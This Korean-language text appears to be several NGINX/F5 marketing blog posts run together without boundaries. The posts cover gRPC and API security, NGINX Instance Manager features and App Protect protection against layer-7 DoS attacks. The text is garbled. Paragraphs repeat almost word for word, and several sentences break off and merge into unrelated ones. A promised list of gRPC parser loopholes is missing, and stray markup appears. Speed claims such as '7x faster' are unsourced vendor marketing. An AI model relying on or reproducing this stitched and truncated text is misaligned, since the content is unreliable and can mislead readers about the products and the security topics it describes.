시작은 모놀리식 아키텍처였습니다.
이는 소프트웨어 개발자들에게 오랫동안 유용하게 사용되었고, 여전히 일부 사용 사례에서는 효과적입니다.
하지만 애플리케이션이 커지면서 모놀리식 구조는 개발, 보안 및 유지 관리가 어려워졌습니다.
이때 대안으로 등장한 것이 마이크로서비스입니다.
모놀리식 아키텍처가 작고 독립적인 서비스로 분해되어 각각 단일 비즈니스 기능을 수행하고,
네트워크를 통해 통신하여 애플리케이션의 전체 기능을 제공합니다.
초기에는 웹 개발자들이 SOAP을 통신 프로토콜로 사용하고 XML을 데이터 인코딩 방식으로 활용했지만,
많은 개발자들이 이 조합이 번거롭고 느리다고 느끼기 시작했습니다.
그 결과 REST 기반 아키텍처로의 전환과 함께 HTTP와 JSON의 광범위한 채택이 이루어졌습니다.
하지만 기술의 발전은 끊임없이 이루어지며, 개발자들은 SOAP과 REST의 텍스트 기반 한계를 극복할
더 나은 애플리케이션 설계 방안을 모색했습니다.
그 중 하나가 gRPC입니다. 구글이 개발한 gRPC는 방대한 독립 서비스 간의 연결을 위해 설계되었습니다.
gRPC는 프로토콜 버퍼(protobufs)를 플랫폼 및 언어에 구애받지 않는 구조화된 데이터 직렬화 메커니즘으로 사용하며,
HTTP/2를 통신 프로토콜로 채택하고 있습니다.
gRPC가 다른 API 프레임워크에 비해 유리한 점으로는 저지연 처리량, 여러 언어 지원,
컴팩트한 데이터 표현, 실시간 스트리밍 등이 있으며,
이 모든 것이 마이크로서비스 간 통신과 저전력, 저대역폭 네트워크를 통한 통신에 특히 적합합니다.
gRPC의 인기는 최근 몇 년 동안 크게 증가했습니다.
이는 더 높은 신뢰성과 확장성, 클라이언트와 서버 모두에 대한 언어 독립성을 통해
새로운 서비스를 더 빠르고 효율적으로 구축하기 쉽게 만들어주기 때문입니다.
gRPC의 이점에 대한 두드러진 예는 오픈 뱅킹으로, 오픈 소스 기술을 사용하여
API를 구축하고 제공하여 타사 개발자가 은행이나 다른 금융 기관의 고객에게 추가 서비스를 제공할 수 있도록 합니다.
오픈 뱅킹의 전체 기반은 금융 정보를 보다 효과적이고 효율적으로 제공한다는 이상에 기반을 두고 있습니다.
gRPC는 프로토콜 버퍼의 컴팩트한 형식과 HTTP/2의 멀티플렉싱으로 인해 주어진 페이로드의 전송이
REST API보다 훨씬 빠르기 때문에 이 목표를 달성하는 데 도움이 됩니다.
데이터를 수신할 때는 약 7배, 데이터를 전송할 때는 10배 더 빠릅니다.
결과적으로 금융 기관은 서비스 간 통신에 gRPC를 채택하여 서비스를 보다 빠르게 제공하고 효율성, 안정성 및 규모를 높이고 있습니다.
gRPC의 속도가 큰 이점이 되는 구체적인 사용 사례 중 하나는 고객 온보딩 프로세스로,
오픈 뱅킹에서의 성공에 가장 중요합니다.
다른 API 프레임워크를 사용하면 새 계좌를 만드는 것이 금융 기관과 고객 모두에게 번거롭고 시간이 많이 걸릴 수 있습니다.
gRPC를 사용하면 빠른 데이터 전송으로 고객이 몇 분 안에 새 계좌를 만들 수 있습니다.
이를 통해 고객 만족도가 크게 향상되고 금융 기관의 비용이 크게 감소합니다.
gRPC 표준과 프로토콜 버퍼 형식은 오픈 소스 라이브러리로 구현되어 있습니다.
프로토콜 버퍼는 사이버 공격에 대해 다른 데이터 표현 방식보다 더 안전하다고 여겨지는데,
이는 라이브러리 파서가 잘못된 요청을 거부하고 라이브러리의 동작을 더 세밀하게 검사하기 때문입니다.
하지만 gRPC에 대한 공격의 가능성은 여전히 존재합니다. 예를 들어, 파서는 다음과 같은 허점을 가지고 있습니다:
공격자는 이러한 gRPC 프로토콜의 허점을 악용하여 애플리케이션을 위협할 수 있습니다.
또한, 프로토콜 버퍼는 메시지 정의에 명시되지 않은 필드를 생성할 수 있도록 허용합니다.
이는 설계의 확장성을 보장하여 향후 메시지의 확장 버전과의 호환성을 가능하게 하지만,
동시에 공격자가 애플리케이션에서 명시적으로 허용되지 않은 필드를 요청에 포함시킬 수 있는 밀반입 공격에 취약하게 만들 수 있습니다.
NGINX App Protect는 서비스 애플리케이션에 더 가까운 최신 gRPC 기반 애플리케이션을 보호하도록 설계되었습니다.
이를 통해 AppDev, DevOps 및 DevSecOps 팀은 애플리케이션 보안을 코드로 관리하고 기본 도구를 활용할 수 있습니다.
예를 들어, NGINX App Protect는 금융 기관과 해당 서비스가 서비스 간 통신을 위해
gRPC를 구현할 때 오픈 뱅킹 표준을 준수하도록 보장합니다.
NGINX App Protect의 엔진은 와이어 요청에서 gRPC 메시지를 심층적으로 검사하고,
프로토콜 버퍼 메시지를 구문 분석하고, 모든 중첩 및 복잡한 데이터 구조를 포함하여 메시지 헤더와 페이로드에서 악성 데이터를 감지합니다.
검사는 모든 요청에 대해 수행되고 각 API 호출 매개변수에 대한 공격 탐지 메커니즘을 적용합니다.
gRPC API를 사용하면 gRPC 인터페이스를 사용하여 유형 라이브러리 파일(IDL 파일)과 프로토콜 버퍼의
proto 정의 파일에 보안 정책을 설정합니다. 업데이트된 파일이 로드되면
NGINX App Protect는 구성을 변경할 필요 없이 즉시 새 보안 정책을 적용하기 시작합니다.
gRPC proto 파일은 CI/CD 파이프라인의 일부로 자주 업데이트되므로
보안 정책을 업데이트해도 프로세스가 중단되거나 오버헤드가 추가되지 않으며
애플리케이션은 항상 최신의 가장 최신 정책으로 보호됩니다.
gRPC 기반 마이크로서비스 간의 동서 트래픽 보호뿐만 아니라,
NGINX App Protect는 공개적으로 노출된 자산 간의 남북 트래픽 또한 효과적으로 안전하게 보호합니다.
gRPC는 서비스 간 통신의 속도, 효율성 및 확장성을 극대화하지만, API 데이터(URL, 헤더 및 페이로드)와
gRPC API를 노출하는 애플리케이션 서비스에 대한 보호가 필수적입니다.
이러한 맥락에서 NGINX App Protect는 현대 애플리케이션 아키텍처에서 핵심적인 역할을 합니다.
NGINX App Protect와 gRPC에 관한 더 자세한 정보는 저희 라이트보드 비디오를 참조해 주시기 바랍니다.
NGINX App Protect를 무료로 사용해보세요!
NGINX App Protect의 gRPC 지원에 대한 자세한 내용은 문서를 참조하시기 바랍니다.
gRPC API와 함께 NGINX Plus 및 NGINX App Protect를 사용해 보려면 30일 무료 체험을 시작하거나
사용 사례에 대해 논의하려면 저희에게 문의해 주세요.
최근 몇 년 동안 API는 현대적 어플리케이션 경제를 구축하는데 있어 주요한 접근 방식이 되었습니다.
이러한 소프트웨어 인터페이스는 시스템, 애플리케이션 및 장치가 광범위한 데이터와 기능을 통신하고
공유할 수 있도록 하는 주요 방법이 되었습니다.
본질적으로 API는 정보를 위한 현대의 실크로드가 되었으며
고객에게 다양한 공급 업체의 최고 품질의 도구를 결합한 솔루션을 잠금 해제할 수 있는 힘을 제공합니다.
최근 몇 년 동안 API는 현대 애플리케이션 경제의 핵심 요소로 자리 잡았습니다.
이 소프트웨어 인터페이스는 다양한 시스템, 애플리케이션, 장치 간의 데이터와 기능 공유를 가능하게 하며,
본질적으로 현대의 실크로드 역할을 하고 있습니다.
API를 통해 고객은 여러 공급업체의 최첨단 도구를 통합한 솔루션을 활용할 수 있는 강력한 힘을 얻습니다.
MuleSoft의 연례 Connectivity Benchmark Report에 따르면, 조사에 참여한 조직의 80%가 공개 또는 비공식 API를 사용하고 있습니다.
이들 API는 생산성 향상(54%), 혁신 촉진(47%), 비용 절감(34%) 등 다양한 이점을 제공하며,
평균적으로 기업 총 수익의 31%를 차지하는 등 상당한 수익을 창출합니다.
하지만 API의 보안 문제는 여전히 해결해야 할 중요한 과제입니다.
F5 Labs의 연구에 따르면, 2020년 상반기 API 보안 사고의 발생 건수가 지난 2년 동안의 총 사고 수를 초과할 것으로 보입니다.
DevOps 팀은 인증 부족, 인증 및 권한 부여의 문제, 구성 오류 등 다양한 보안 취약점에 직면하고 있습니다.
이제 중요한 질문은 "모든 API 활동을 어떻게 보호할 것인가?"입니다.
이 블로그에서는 NGINX App Protect의 '코드로서의 보안' 접근 방식을 중심으로, API 보안에서 이 접근법이 얼마나 중요한지,
그리고 다른 보안 솔루션들과 함께 CI/CD 파이프라인에 어떻게 통합될 수 있는지를 설명하겠습니다.
ProgrammableWeb에 따르면, 현재 20,000개 이상의 비공식, 파트너, 공개 API가 사용되고 있으며,
이를 통해 우리가 일상적으로 사용하는 애플리케이션을 지원하고 있습니다.
API의 매력과 함께, API가 실행되거나 연결되는 컨테이너 기반 마이크로서비스의 장점은 직원,
전략적 및 상업적 파트너를 포함한 광범위한 사용자에게 소프트웨어 기능과 데이터를 개방할 수 있는 가능성입니다.
이러한 접근 방식은 DevOps 팀에게도 매력적이며,
특정 요구에 적합한 최상의 공급업체를 선택할 수 있는 유연성을 제공합니다.
예를 들어, 많은 기업이 개인 및 파트너 API를 활용하여 셀프 서비스 IT를 활성화하고 있습니다.
IT 자산을 검색 가능하고 재사용 가능한 형태로 만들어
조직의 구성원이 DevOps 팀의 개입 없이도 다양한 작업을 수행할 수 있게 합니다.
이러한 셀프 서비스 IT의 올바른 실행은 민첩성을 향상시키고 출시 속도를 가속화하며,
다양한 공급업체의 솔루션을 결합하여 고객 중심의 효율성과 혁신, 그리고 더 높은 마진 수익을 창출하는 데 기여합니다.
이와 같은 역동성은 개발 및 운영 측면에서도 동일하게 적용됩니다.
컨테이너화된 소프트웨어와 API를 통해 DevOps 팀은 Okta, Auth0, Microsoft와 같은 ID 및 액세스 관리(IAM) 파트너는 물론,
MuleSoft, Akana, Kong과 같은 API 수명 주기 관리 파트너와의 폭넓은 협업을 가능하게 합니다.
오늘날의 빠르게 움직이는 역동적인 CI/CD 환경에서 개발자와 DevOps 팀은 솔루션을 구현하고
소프트웨어를 빠르고 안전하게 출시하는 데 도움이 되는 애플리케이션 보안 도구를 사용하여
웹 앱과 API를 보호하는 전체적인 접근 방식이 필요합니다.
팀은 선택한 액세스 관리 및 라이프사이클 관리 파트너와 긴밀하게 통합된 상태를 유지하면서 코드를 보호해야 합니다.
오늘날의 빠르게 변화하는 CI/CD 환경에서 개발자와 DevOps 팀은
웹 애플리케이션과 API를 보호하기 위해 포괄적인 접근 방식을 필요로 합니다.
이는 솔루션을 구현하고 소프트웨어를 신속하고 안전하게 출시하는 데
도움을 주는 애플리케이션 보안 도구를 활용하는 것을 포함합니다.
또한, 팀은 선택한 액세스 관리 및 라이프사이클 관리 파트너와의 긴밀한 통합을 유지하면서 코드를 보호해야 합니다.
최근 몇 년간 DevOps가 DevSecOps로 전환되면서, 보안을 단순히 개발 후에 적용하는 것이 아니라,
소프트웨어 개발의 모든 단계에 보안을 통합하려는 노력이 증가하고 있습니다.
이는 보안이 단순히 마지막에 추가되는 것이 아니라,
소프트웨어의 모든 측면에 내재되어야 한다는 인식을 반영합니다.
이 접근 방식에는 다음과 같은 주요 관행이 포함됩니다:
1. CI/CD 파이프라인에 보안 자동화 내장
가능한 경우 보안을 CI/CD 파이프라인에 직접 통합하여 자동화합니다.
이는 개발 과정에서 실시간으로 보안 검사를 수행하고,
보안 취약점을 조기에 발견하여 해결할 수 있도록 합니다.
2. 보안을 게이트가 아닌 가드레일로 구축
보안을 단순히 접근을 허용하거나 거부하는 게이트가 아닌,
안내와 도구를 제공하는 가드레일로 구축합니다.
이를 통해 개발자와 팀이 보안 기준을 준수할 수 있도록 지원하고,
실수를 방지하며, 보안의 일관성을 유지할 수 있습니다.
3. 분산형 컨테이너화 환경에서 일관된 보안 유지
다양한 파트너와 협력하여 보안 솔루션이 분산형 컨테이너화 환경을 포함한
모든 환경에서 일관되고 중앙 집중화된 방식으로 제공되도록 하며,
셀프 서비스 기능을 통해 사용이 용이하도록 합니다.
이는 보안 솔루션이 다양한 환경에서 일관되게 적용되고 관리될 수 있도록 합니다.
"코드로서의 보안"은 새로운 소프트웨어의 모든 측면에 보안을 내장한다는 의미입니다.
즉, 마지막에 보안을 추가하는 것이 아닙니다."
F5는 앱 보안을 적응 가능하고 확장 가능하며 신뢰할 수 있게 만드는 코드형 보안 접근 방식의 주요 지지자이며,
NGINX App Protect는 이를 가능하게 하는 데 중요한 역할을 합니다.
NGINX App Protect는 API 보안을 시장을 선도하는
고급 웹 애플리케이션 방화벽(Advanced WAF) 및 봇 보호의 기본 기능과 결합하여 DevOps를 지원합니다.
NGINX App Protect를 사용하면 기본 인프라와 무관한 가벼운 소프트웨어 패키지로 애플리케이션 보안을 배포할 수 있습니다.
따라서 소프트웨어 개발자는 선언적 정책("코드로서의 보안")을 활용하여 API 게이트웨이
또는 기타 Ingress 컨트롤러로 들어오고 나가는 모든 것을 보호할 수 있습니다.
이 모델에 따라 API 자체가 기본적으로 안전하지 않더라도 NGINX App Protect를 사용한 보안은
Ingress, Kubernetes 포드 내부 또는 서비스 간에 여러 지점에 적용할 수 있습니다.
고객이 우선시하는 다른 업계 리더와 협력하고 전 세계 DevOps 팀에서 이미 사용 중인 공급업체와 제품을 수용하면서
F5와 NGINX는 전체 애플리케이션 생태계를 위한 최첨단 솔루션을 제공하기 위해 최선을 다하고 있습니다.
API가 정보 공유를 위한 새로운 실크로드가 되고 그 어느 때보다 사용자와 연결할 수 있게 되면서
NGINX App Protect가 앱과 데이터를 잠재적 위협의 전체 범위에서 방어합니다.
NGINX App Protect는 파트너 생태계와 긴밀하게 통합하는 기능을 포함하여 앱을 제공하는 방식에 맞게 설계되었습니다.
DevOps 환경에서 원활하게 작동하는 이 업계를 선도하는 솔루션은 DevOps 자동화 및 CI/CD 프로세스 전반에 걸쳐
중단 없는 보안 제어를 통합하여 앱 보안이 사후에 추가되거나 임시방편으로 포장되지 않고 처음부터 내장되도록 보장합니다.
NGINX App Protect를 직접 사용해 볼 준비가 되셨나요?
무료 30일 체험판을 시작하거나, 저희에게 연락하여 사용 사례에 대해 논의하세요.
올해 초에 NGINX Instance Manager를 출시하여
기업이 NGINX Open Source 및 NGINX Plus 인스턴스를 검색, 추적, 보안 및 구성할 수 있도록 지원했습니다.
다음 기능을 도입한 NGINX Instance Manager 버전 1.0을 발표하게 되어 기쁩니다.
NGINX 인스턴스가 많을수록 관리하기가 더 어려워질 수 있습니다.
이제 NGINX 인스턴스와 RBAC 역할에 태그를 적용하여 그룹의 모든 멤버에 대해 한 번에 조치를 취할 수 있습니다.
관리 팀(DevOps, NetOps), 목적(테스트, 샌드박스, 프로덕션), 운영 체제(CentOS, Ubuntu), NGINX 모델(NGINX Open Source, NGINX Plus) 및
환경(AWS, 온프레미스, 프라이빗 클라우드)별로 인스턴스를 분류하는 등 모든 특성에 따라 NGINX 인스턴스 또는
역할을 그룹화할 수 있습니다.
태그를 사용하면 다음과 같은 작업을 더 빠르고 쉽게 수행할 수 있습니다.
대규모 구성 관리 – 한 번에 그룹의 모든 태그가 지정된 NGINX 인스턴스에 구성을 적용하여 일관성을 보장할 수 있습니다.
다음 스크린샷에서 인스턴스는 운영 체제와 NGINX 모델에 따라 태그가 지정됩니다.
컨텍스트에서 모니터링 - Grafana 대시보드에는 쉼표로 구분된 값이 있는 태그 필드가 포함되어 있습니다.
PromQL 쿼리를 구성하여 태그로 그룹화된 메트릭을 표시할 수 있습니다.
액세스 제어 – OpenID Connect 및 JWT를 사용하여 NGINX Plus에서 권한을 구현하면 태그가 지정된 역할에 따라
사용자 액세스를 제한할 수 있습니다. 예를 들어, QA 팀 구성원이 test 태그가 지정된 NGINX 인스턴스만 관리하도록 허용할 수 있습니다 .
참고: 이 기능은 기술 미리보기로 제공됩니다. 프로덕션 환경에서 사용하는 것은 권장하지 않으며 최선의 노력으로만 지원을 제공할 수 있습니다.
스크린샷에서 Finance 역할이 있는 사용자는 Finance 태그가 지정된 NGINX 인스턴스에 대한
읽기-쓰기 액세스 권한이 부여 되고 다른 인스턴스에는 부여되지 않습니다.
마찬가지로 Finance_RO 역할이 있는 사용자는 Finance 태그가 지정된 인스턴스 에 대한 읽기 전용 액세스 권한만 부여됩니다 .
이 스크린샷에서 user1에게 Finance 역할이 할당되었습니다 (표시 이름인 Finance Read Write 로 식별 ).
NGINX는 현재 인터넷에서 1위 웹 서버 입니다 . 많은 사이트가 이에 의존하고 있기 때문에
NGINX 인스턴스에서 만료된 SSL/TLS 인증서로 인해 중단이 발생할 가능성이 있습니다.
NGINX Instance Manager 인증서 관리 인터페이스를 사용하면 만료된 인증서를 감지하고 교체하여
안전하고 중단 없는 서비스를 보장할 수 있습니다.
인증서 스캔 보고서는 만료까지 남은 일수를 지정합니다.
API를 사용하여 갱신된 인증서가 필요한 웹 서버를 쿼리하고 추적할 수 있습니다.
별도의 에이전트가 필요하지 않습니다.
인증서가 만료되었음을 확인하면 인증서를 교체할 수 있습니다.
사실, Instance Manager를 사용하여 키 파일과 JavaScript 파일,
인증서를 포함하여 NGINX 구성에서 참조된 모든 파일을 업데이트하고 교체할 수 있습니다.
스크린샷은 포트 443에서 수신 대기하고 있으며 IP 주소가 10.1.1.0/24 범위에 있는 NGINX 인스턴스의 인증서 스캔 결과를 보여줍니다.
이 스크린샷에서는 구성 편집기를 사용하여 관리되는 NGINX 인스턴스에 인증서를 업로드합니다.
30일 무료 체험판을 다운로드하거나 저희 에게 연락해 사용 사례에 대해 논의해 보세요 .
디지털 혁신이 비즈니스 잠재력을 가속화하는 반면, 안타깝게도 위협이 되는 환경도 확장되고 있습니다.
보안 팀이 증가하는 범위와 책임에 대해 적응하고 몰두하는 동안,
공격자는 이를 악용하여 재정적 이익을 위해 애플리케이션을 남용하는 방식이 그 어느 때보다 정교해지고 있습니다.
네트워크 수준에서의 기존 서비스 거부(DoS) 공격과 비교했을 때, 애플리케이션 수준( 7계층 ) DoS 공격은 크게 증가하고 있는데,
그 이유는 최신 애플리케이션 아키텍처에 맞게 설계되지 않은 기존 방어를 우회 할 수 있기 때문입니다.
공격자의 관점에서 볼 때, 레이어 7 DoS 공격에는 두 가지 주요 특징이 있습니다.
첫째, 매우 적은 자원으로도 상당한 혼란을 일으킬 수 있다는 점이고,
둘째, 탐지하기 어렵다는 점입니다.
정교한 도구를 사용하여 생성되고 정밀하게 타겟팅 된 요청으로 인해 이러한 공격은
애플리케이션 서버와 API를 방해하여 정당한 요청을 처리할 수 없게 만듭니다.
서버가 처리할 수 있는 것보다 더 많은 요청이 폭주할 경우,
서버는 정당한 요청을 드롭하거나, 응답하지 않거나,
심지어 충돌할 수도 있습니다.
기존 DoS 완화 솔루션은 최신 앱에 효과적이지 않습니다.
전통적인 DoS 완화 솔루션은 현대 애플리케이션에는 효과적이지 않습니다.
이들은 정적인 규칙 기반 보안을 제공하며,
현대 애플리케이션 환경에서의 변화와 업데이트 속도를 따라잡기 위해
지속적인 유지 관리가 필요합니다.
NGINX App Protect Denial of Service (DoS)는 NGINX Plus를 위한 새로운 경량 동적 모듈로,
최신 애플리케이션을 가장 정교한 애플리케이션 DoS 공격으로부터 보호하도록 설계되었습니다.
NGINX App Protect DoS는 애플리케이션을 중단하고 해치려는 공격을 완화하여 지속적인 성능과 수익 확보를 보장하고
경쟁이 치열한 디지털 세계에서 고객 충성도와 브랜드를 보존합니다.
NGINX App Protect DoS는 Kubernetes 클러스터를 포함한 모든 플랫폼, 아키텍처 또는 환경에서
애플리케이션 및 마이크로서비스에 가깝게 배포할 수 있습니다.
애플리케이션과 함께 확장되며 항상 높은 보안 효과를 유지합니다.
NGINX App Protect DoS는 실행 중입니다.NGINX App Protect DoS는 다양한 위치에 배포하여 애플리케이션 서비스를 보호할 수 있습니다.
NGINX App Protect DoS는 여러 정교한 공격 유형에 대한 보호 기능을 제공합니다.
1. GET플러딩 POST공격 – (HTTP와 HTTPS 모두) 공격자는 대량의 요청으로 서버나 API를 과부하시켜 실제 사용자에게 응답하지 못하게 만들려고 합니다.
2. "느린" 공격 - (HTTP와 HTTPS 모두) "느리고 낮은" 공격은 서버 리소스를 묶어서 실제 사용자의 요청을 처리하는 데 사용할 수 있는 리소스가 없습니다.두 가지 요인으로 인해 방어하기 어렵습니다.
느린 공격에는 세 가지 주요 유형이 있습니다.
인기 있는 접근 방식 중 하나는 대상 SSL/TLS 서버로 가비지 데이터를 보내는 것입니다.
유효하지 않은 메시지를 처리하는 데는 합법적인 메시지와 마찬가지로 컴퓨팅 비용이 많이 들지만 유용한 결과는 없습니다.
대부분의 방화벽은 이 경우 도움이 되지 않습니다.
유효한 SSL/TLS 핸드셰이크 패킷과 유효하지 않은 SSL/TLS 핸드셰이크 패킷을 구별할 수 없고
방화벽에서 복호화를 구현하는 데 비용이 많이 들기 때문입니다.
NGINX App Protect DoS는 SSL/TLS 서명 메커니즘을 사용하여 암호화되지 않고
SSL/TLS 핸드셰이크 프로세스 초기에 전달되는
CLIENT HELLO 메시지를 기반으로 이상 기반 탐지 및 완화를 제공하여 높은 복호화 비용을 제거합니다.
또한 SSL/TLS 서명을 모니터링 서버 상태 메커니즘과 함께 사용하면 SSL/TLS 종료 없이 DoS 보호 및 완화가 가능합니다.
이제 "DevSecOps"라는 개념은 현대 소프트웨어 개발에 종사하는 거의 모든 사람에게 친숙해졌으며,
애플리케이션 보안을 근본적으로 강화하고 DevOps와 보안 팀 간의 마찰을 완화하겠다는 약속을 담고 있습니다 .
DevSecOps 모델에서 보안은 왼쪽으로 이동하여 DevOps 개발 및 배포 프로세스에 직접 통합됩니다.
특히 보안은 CI/CD(Continuous Integration/Continuous Deployment) 파이프라인의대부분 기업은 보안 태세가 어디에 있어야 하는지 알고 있지만, 의도와 현실은 매우 다른 두 가지입니다.
Contrast Security의 2020년 DevSecOps 현황 보고서에 따르면, 조직의 99% 이상이
프로덕션에서 평균적인 애플리케이션에 최소 4개의 취약점이 있다는 것을 인정해야 하는 반면,
거의 80%가 개발 중인 애플리케이션에서 20개 이상의 취약점을 보고합니다.
따라서 GitLab의 2021년 글로벌 DevSecOps 설문 조사에서 설문 조사에 참여한 보안 팀의 70% 가 보안을 left-shift 하고
물론 대부분 기업이 단지 몇 개의 앱 때문에 이러한 장애물을 극복하는 것은 아닙니다. 여러 팀에 분산된 수백 개의 제품과 서비스를 다루며 자체 기술 스택, 툴체인, 프로세스를 실행하고 있으며, 이러한 모든 것에는 취약점으로 인해 공격에 취약성이 생기지 않도록 보장하기 위한 감사와 검사가 필요합니다.
엄연한 사실은 위에서 논의한 과제를 해결할 방법을 찾지 못한다면 관행과 프로세스를 발전시킬 수 없다는 것입니다.
더 빠르게 반복하는 것이 모든 사람에게 필요한 승리처럼 느껴질 수 있지만
DevOps를 최대한 확장하는 유일한 방법은 전체 소프트웨어 개발 라이프 사이클에서 보안을 가능한 한 마찰 없이 적응 가능하게 만드는 것입니다.
점점 더 많은 조직이 Gartner의 리드를 따라 Platform Ops 라고 부르는 접근 방식을 채택하고 있습니다.
핵심 개념은 회사 내부 팀의 요구 사항에 맞게 구축된 플랫폼을 통해 DevOps 기능을 제공하는 것입니다.
내부 플랫폼을 사용하면 중복 작업에 시간을 낭비할 가능성이 줄어들 뿐만 아니라
여러 제품 팀이 속도가 느려지지 않고 지속적이고 효과적으로 협업할 수 있습니다.
Platform Ops 모델에 따라 보안 팀은 개발 팀에 셀프 서비스, 소비형 정책을 제공합니다.
또한 보안 도구는 애플리케이션 제공 프로세스에 완전히 통합됩니다.
이런 방식으로 개발자는 지식이 풍부한 보안 전문가가 정한 모범 사례, 거버넌스 및 액세스 요구 사항을 준수하면서도 더 빠르게 배포할 수 있습니다.
애플리케이션 보안 팀의 큰 승리는 Platform Ops가 개발자가 보안을 더 이상 속도를 늦추는 방해물로 경험하지 않고,
오히려 이미 사용하는 프로세스와 도구의 통합된 부분으로 경험하는 환경을 만든다는 것입니다.
이는 앱 제공팀이 기업 전체에 더 나은 보안을 보장하는 패턴을 채택하도록 동기를 부여합니다.
NGINX에서는 웹 애플리케이션 방화벽(WAF)과 같은 도구를 제공하는 것의 중요성을 인식합니다.
이 도구는 개발 프로세스의 어느 곳에서나 보안을 제공하고 CI/CD 파이프라인과 완벽하게 통합할 수 있도록 쉽게 왼쪽으로 이동할 수 있습니다.
CPU를 독점하거나 성능을 저하시키지 않는 가벼운 솔루션도 중요합니다.
또한 보안이 관문이 아닌 가드레일일 때 개발 및 DevOps 팀이 훨씬 더 행복하다는 것을 보았습니다.
보안이 공유 셀프 서비스 플랫폼에서 강력하고 일관된 제어 및 정책을 제공할 때
개발 및 보안 팀이 최소한의 상호 작용 및 방해로 지침에 맞춰 조정하기가 더 쉬워집니다.
NGINX 애플리케이션 플랫폼이 어떻게 이러한 기능을 제공하는지 살펴보겠습니다.
NGINX App Protect WAF는 앱을 빌드하고 관리하는 모든 곳에 배포할 수 있는 가볍고 현대적인 WAF입니다. F5의 시장을 선도하는 WAF 기술을 기반으로 구축된 App Protect WAF는 클라우드, 하이브리드, 마이크로서비스 기반 컨테이너화 또는 온프레미스 등 아키텍처나 배포 환경에 관계없이 OWASP Top 10 및 기타 고급 위협으로부터 보호합니다. NGINX Plus 의 동적 모듈로 배포되는 App Protect WAF를 사용하면 보안 구성 및 정책을 자동화하여 CI/CD 파이프라인 내에서 직접 프로비저닝할 수 있습니다.
NGINX App Protect DoS는 자동화된 적응형 보호 기능을 제공하여 서비스 거부(DoS) 공격을 식별하고 방지합니다 . F5 보안 전문가의 지원을 받는 App Protect DoS는 적응형 머신 러닝과 기본 제공 이상 탐지 기능을 사용하여 애플리케이션과 마이크로서비스를 애플리케이션 계층 공격으로부터 보호합니다. 타깃 공격을 차단해야 하든 실수로 잘못된 구성으로 인해 앱 성능이 저하되는 것을 방지해야 하든 App Protect DoS는 최신 애플리케이션 아키텍처, 개발 도구 및 프레임워크에 완벽하게 통합되는 제로터치 보호 기능을 제공합니다.
Controller Application Delivery Module 용 NGINX Controller App Security<.htmla> 애드온을 사용하면 운영 및 보안 준수를 저해하지 않고도 개발자 생산성을 강화할 수 있습니다. Controller App Security는 신뢰할 수 있는 앱 보호 및 중앙 집중식 앱 계층 위협 가시성을 제공하며, 이는 다중 클라우드 환경에서 실행되는 HTTP 기반 앱 및 API에서 표준화할 수 있습니다. 또한 보안팀이 사전 승인된 가이드라인을 제공하여 개발자와 DevOps팀이 셀프 서비스 방식으로 사용하여 앱에 앱 보호를 쉽게 추가할 수 있도록 합니다.
NGINX Controller API 관리 모듈 의 고급 보안은 최신 애플리케이션에 대한 분산 API 보안을 지원합니다.
NGINX App Protect 및 NGINX Controller 와 함께 NGINX Plus 의 무료 30일 평가판을 시작하고 , 클라우드( AWS , Google Cloud Platform , Microsoft Azure )에서 제공되는 서비스를 확인하고, 강사가 진행하는 NGINX App Protect 소개 수업에 등록하세요 .
F5 NGINX에 대한 더 많은 블로그 게시물 읽기 ›
현대의 서비스 거부(DoS) 공격: 기본 보호만으로는 충분하지 않은 이유
DoS 공격의 소스가 분산되어 있어도(DDoS 공격이 됨) 네트워크 계층의 기본 볼륨 공격은 일반적으로 단일 장치나 서비스를 대상으로 하며,현대의 아키텍처에는 현대적인 보호가 필요하다
암호화는 어디에나 있으며, 기존의 DoS 보호는 대규모 복호화를 위해 설계되지 않았습니다.기본 WAF 방어와 기존 DDoS 완화에만 의존한다면 레이어 7 공격에 대한 적절한 가시성과 맥락을 확보할 수 없으며,
그 결과는 지연, 다운타임, 수익 포기, 브랜드 손상 등 막대한 피해를 초래 할 수 있습니다.
행동 분석을 통해 클라이언트 이상 징후와 서비스 상태를 지속적으로 분석하여 제로데이 DoS 공격을 탐지할 수 있습니다.
사이트 동작을 자세히 살펴보면 다음과 같은 질문에 답할 수 있습니다.
기준 트래픽 패턴과 비교할 때 비정상적인 것이 있습니까?
브라우저가 포함해야 할 정보를 누락한 요청이 있습니까?
요청에 복잡한 데이터베이스 쿼리가 포함되어 높은 CPU 사용률을 유발하고 있습니까?
NGINX App Protect DoS는 일반적인 성능과 동작에 대한 정보를 구축하여
기존 방어 수단을 회피하고 애플리케이션에 스트레스를 가하는 레이어 7 공격에 집중할 수 있습니다.
DoS 공격의 결과는 변하지 않았습니다. 느린 성능, 불만족스러운 사용자, 포기된 수익. 그러나 DoS 공격이 발생하는 방식은 매우 다를 수 있으며, 해커는 암호화와 보안 도구를 사용하여 위협을 합법적인 트래픽으로 위장할 수 있습니다.
사용자들은 아키텍처의 차이를 구별할 수는 없지만, 좋은 사이트 성능과 나쁜 사이트 성능의 차이는 구별할 수 있습니다. 공격 트래픽의 폭격은 지연을 초래해 사용자 경험을 느리게 만듭니다. 충분히 느리고, 가장 인내심 있는 사용자(그다지 많지는 않지만!)조차도 거래를 포기하고 다른 사이트로 전환합니다. 단일의 타겟팅된 요청은 지연과 서버 스트레스를 유발할 수 있으므로, 전문화된 애플리케이션 DoS 보호는 매우 중요합니다.
웹 애플리케이션 보안 솔루션은 OWASP, Automated Threats to Web Applications (웹 애플리케이션에 대한 자동화된 위협)에서 설명한 새로운 공격에 대응하기 위해 계속 발전하고 있습니다. 그러나 애플리케이션 런타임에 본질적으로 통합된 보호가 필요합니다. 동적이고 적응 가능한 보호가 필요합니다. 다른 DoS 솔루션들이 SYN 플러드와 같은 네트워크 DDoS 공격을 위해 설계되었을 수 있지만, NGINX App Protect DoS 솔루션은 애플리케이션 자원을 스트레스를 주는 레이어 7 공격에 특화되어 있습니다. WAF와 레이어 7 DoS 솔루션을 결합함으로써, 애플리케이션은 취약점 악용과 비즈니스 로직 남용 모두로부터 보호받을 수 있으며, 타협뿐만 아니라 지연, 성능 저하, 다운타임을 방지할 수 있습니다.
상거래는 이제 대부분 온라인에서 이루어집니다. 사람들도 대부분 온라인에서 활동합니다. 당신의 온라인 환경을 안전하고 보호된 장소로 만드는 것이 필요합니다. NGINX App Protect WAF와 NGINX App Protect DoS 모듈을 결합하면, 당신의 환경, 애플리케이션, 비즈니스에 적합한 강력한 보호를 제공할 수 있습니다.
NGINX App Protect를 직접 사용해 보세요. 오늘 무료 30일 평가판을 시작하거나 저희에게 연락하여 사용 사례에 대해 논의해 보세요.
